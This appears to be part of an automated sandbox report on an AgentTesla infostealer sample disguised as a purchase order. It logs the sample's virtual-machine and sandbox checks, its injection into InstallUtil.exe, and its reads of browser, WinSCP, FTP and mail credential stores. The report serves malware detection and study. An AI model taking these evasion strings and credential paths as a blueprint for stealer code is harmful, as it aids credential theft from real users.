Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: PO_9876563647-FLOWTRONIX (FT)UUE.exe PID: 2944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xpnzea.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xpnzea.exe PID: 4260, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.0000000002C98000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.00000000028F7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Memory allocated: 26E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Memory allocated: 28B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Memory allocated: 26E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory allocated: 1080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory allocated: 2C50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory allocated: 2A60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory allocated: F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory allocated: 28B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory allocated: 1010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: CA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 29F0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 49F0000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: Xpnzea.exe, 00000008.00000002.1708492205.00000000028F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: Xpnzea.exe, 00000008.00000002.1708492205.00000000028F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 00000007.00000002.1727595949.0000000005B80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll%\|
Source: InstallUtil.exe, 00000009.00000002.2702774592.0000000005C90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllodeE
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1464343248.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1642858240.00000000050C4000.00000004.00000020.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1625844362.0000000001101000.00000004.00000020.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1702993833.0000000000968000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 770000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 770000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 770000	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 772000	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7AC000	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7AE000	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 429008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 628008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 819008	Jump to behavior

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Queries volume information: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Queries volume information: C:\Users\user\AppData\Roaming\Xpnzea.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Queries volume information: C:\Users\user\AppData\Roaming\Xpnzea.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 6.2.Xpnzea.exe.3d34a70.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.InstallUtil.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Xpnzea.exe.3d34a70.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1652064396.0000000003D1F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1623982738.0000000000772000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2691701821.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1629857451.00000000028CE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1479691061.0000000003A03000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2691701821.00000000029FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1709180379.0000000002801000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1627992334.00000000030FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1709180379.000000000284F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1739735884.0000000003A2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1652064396.0000000003DCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1708492205.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1472676483.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1629857451.0000000002881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO_9876563647-FLOWTRONIX (FT)UUE.exe PID: 2944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xpnzea.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xpnzea.exe PID: 4260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3848, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 6.2.Xpnzea.exe.3d34a70.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.InstallUtil.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Xpnzea.exe.3d34a70.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1652064396.0000000003D1F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1623982738.0000000000772000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1479691061.0000000003A03000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2691701821.00000000029FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1709180379.0000000002801000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1627992334.00000000030FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1739735884.0000000003A2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1652064396.0000000003DCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1708492205.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1472676483.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1629857451.0000000002881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO_9876563647-FLOWTRONIX (FT)UUE.exe PID: 2944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xpnzea.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xpnzea.exe PID: 4260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3848, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 6.2.Xpnzea.exe.3d34a70.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.InstallUtil.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack, type: UNPACKEDPE
